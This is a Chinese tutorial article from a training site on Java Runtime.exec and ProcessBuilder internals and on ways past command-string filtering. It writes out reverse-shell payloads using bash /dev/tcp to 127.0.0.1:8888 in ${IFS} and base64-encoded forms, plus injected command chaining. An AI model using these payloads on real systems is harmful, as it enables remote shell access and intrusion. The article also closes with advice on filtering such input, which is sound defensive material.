400-616-5551

您所在位置: 首页> 学习课程> java培训班 | java命令执行小细节

java培训班 | java命令执行小细节

发布百知教育 来源:学习课程 2019-12-02

熟知的在java下执行系统命令的代码

Runtime.getRuntime().exec()

new ProcessBuilder().start()

众所周知,仅在命令前加了/bin/bash -c,才能使用特殊符号,如; | >等


使用${IFS}

测试代码:

String string="xxx";
InputStream in=Runtime.getRuntime().exec(string).getInputStream();
Scanner scanner = new Scanner(in).useDelimiter("\\A");
System.out.println(scanner.hasNext() ? scanner.next() : "");

·    xxx=echo -n 123 输出

 123

·    xxx=/bin/bash -c echo -n 123输出为空

·    xxx=/bin/bash -c echo${IFS}123 输出


 123

·    xxx=/bin/bash -c x=3;echo${IFS}$x 输出


 3

·    xxx=/bin/bash -c ls|grep${IFS}1.txt 输出

 1.txt

·    xxx=/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 可反弹,/bin/bash -c其后不能有空格等

·    xxx=bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 不可反弹,由于无法识别到第一个参数

·    xxx=/bin/bash -c echo bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1不可反弹,echo后有空格

 ·    xxx=/bin/bash -c echo${IFS}-n${IFS}bash${IFS}-i${IFS}>&/dev/tcp/127.0.0.1/8888<&1 可反弹,同理

综合以上可知

·    xxx开头不包含/bin/bash -c,且不含特殊符号如>;${IFS}等,仅含有参数-r-c及参数值时,可正常执行

  • 可以看到$man bash文档中对${IFS}的描述大佬链接

  • 作为内部字段分隔符

  • 除非特别设置,其默认值为<space><tab><newline>

The  Internal  Field  Separator  that  is  used  for  word  splitting  after expansion and to split lines into words with the read builtin command.  The default value is ``<space><tab><newline>''.

$echo -n "${IFS}"|hexdump得到其值为20 09 0a,与默认值<space><tab><newline>对应


  • exec中使用StringTokenizer st = new StringTokenizer(command)函数进行分割

  • 即 输入的xxx以 空格 \t\n\r\f进行分割,如下为StringTokenizer构造函数代码

public StringTokenizer(String str) {    this(str, " \t\n\r\f", false);
}

·    若xxx开头包含/bin/bash -c ,则其后不能含有空格\t\n\r\f,否则就会被荼毒,使系统无法辨别。但是可以输入特殊符号如

  • ; |执行多条命令

  • ${IFS}绕过StringTokenizer

所以,在/bin/bash -c的前提下,可以进行拼接命令

如/bin/bash -c echo;ls|grep${IFS}1.txt

输出如下所示,前一条命令为echo;,后一条为ls|grep${IFS}1.txt

1.txt

若Runtime.getRuntime().exec()的第一个参数为string类型,则难逃StringTokenizer的摧残,则/bin/bash -c与其后命令存在空格\t\n\r\f无法并存。

/** 当第一个参数类型为String时,都会走到exec(String var1, String[] var2, File var3)这一步,等被分割了,再调用ProcessBuilder(String... var1) */public Process exec(String var1) throws IOException {  return this.exec((String)var1, (String[])null, (File)null);
}public Process exec(String var1, String[] var2) throws IOException {  return this.exec((String)var1, var2, (File)null);
}public Process exec(String var1, String[] var2, File var3) throws IOException {  if (var1.length() == 0) {    throw new IllegalArgumentException("Empty command");
 } else {
   StringTokenizer var4 = new StringTokenizer(var1);
   String[] var5 = new String[var4.countTokens()];    for(int var6 = 0; var4.hasMoreTokens(); ++var6) {
     var5[var6] = var4.nextToken();
   }    return this.exec(var5, var2, var3);
 }
}/** 当第一个参数类型为String[]时,直接调用ProcessBuilder(String... var1) */public Process exec(String[] var1) throws IOException {  return this.exec((String[])var1, (String[])null, (File)null);
}public Process exec(String[] var1, String[] var2) throws IOException {  return this.exec((String[])var1, var2, (File)null);
}public Process exec(String[] var1, String[] var2, File var3) throws IOException {  return (new ProcessBuilder(var1)).environment(var2).directory(var3).start();
}

而ProcessBuilder的构造函数如下

·    以List<String> var1为参数的,直接将数组var1赋给命令command。

·    以String... var1为参数的,由于存在command.add(var5);,在/bin/bash -c后的命令即使存在空格\t\n\r\f,也不会将其分割

public ProcessBuilder(List<String> var1) {  if (var1 == null) {    throw new NullPointerException();
 } else {    this.command = var1;
 }
}public ProcessBuilder(String... var1) {  this.command = new ArrayList(var1.length);
 String[] var2 = var1;  int var3 = var1.length;  for(int var4 = 0; var4 < var3; ++var4) {
   String var5 = var2[var4];    this.command.add(var5);
 }

}


No.4

使用数组形式

使用数组形式是最普遍被熟知的。

像如下两种一样,直接将(/bin/bash、-c、命令)用数组(可变长)形式分割,这样命令也可直接使用空格等特殊字符

String cmdold=";echo 123";
String cmdnew="ls | grep 1.txt"+cmdold;
ArrayList<String> hhh=new ArrayList<String>(0);
hhh.add("/bin/bash");
hhh.add("-c");
hhh.add(cmdnew);new ProcessBuilder(hhh);


java培训班



new ProcessBuilder("/bin/bash","-c","ls | grep 1.txt;echo 123");


java培训班


No.5

使用$@

1.txt的内容是

aa bb cc

dd ee ff

执行命令

$x=`cat 1.txt`

$set $x

$echo $@

结果为

aa bb cc dd ee ff

2.txt的内容是

cat 1.txt

执行命令

echo $@ |bash 2.txt

结果为

aa bb cc 

dd ee ff

$@能够获取对应的变量。

像$@|bash xxx string命令,若xx为空或者找不到,则将变成string|bash

因此可以绕过/bin/bash -c之后的命令不准含空格等字符的限制,来执行命令,如下

/bin/bash -c $@|bash 0 echo 命令


No.6

使用base64

bash -i >&/dev/tcp/127.0.0.1/8888<&1对应
bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4PCYx}|{base64,-d}|{bash,-i}

base64解码之后的内容就是bash -i >&/dev/tcp/127.0.0.1/8888<&1


No.7

防护建议

对传入的字符串(有可能拼接到命令中)进行过滤时,要注意${IFS}特殊符号、base64编码等情况。


声明:


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。


雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


java培训班:http://www.baizhiedu.com/java2019



上一篇:UI设计培训 | 成为专业UI设计师,到底需要什么?

下一篇:python培训班 | 我用 Python 处理3万多条数据,只要几秒钟…

相关推荐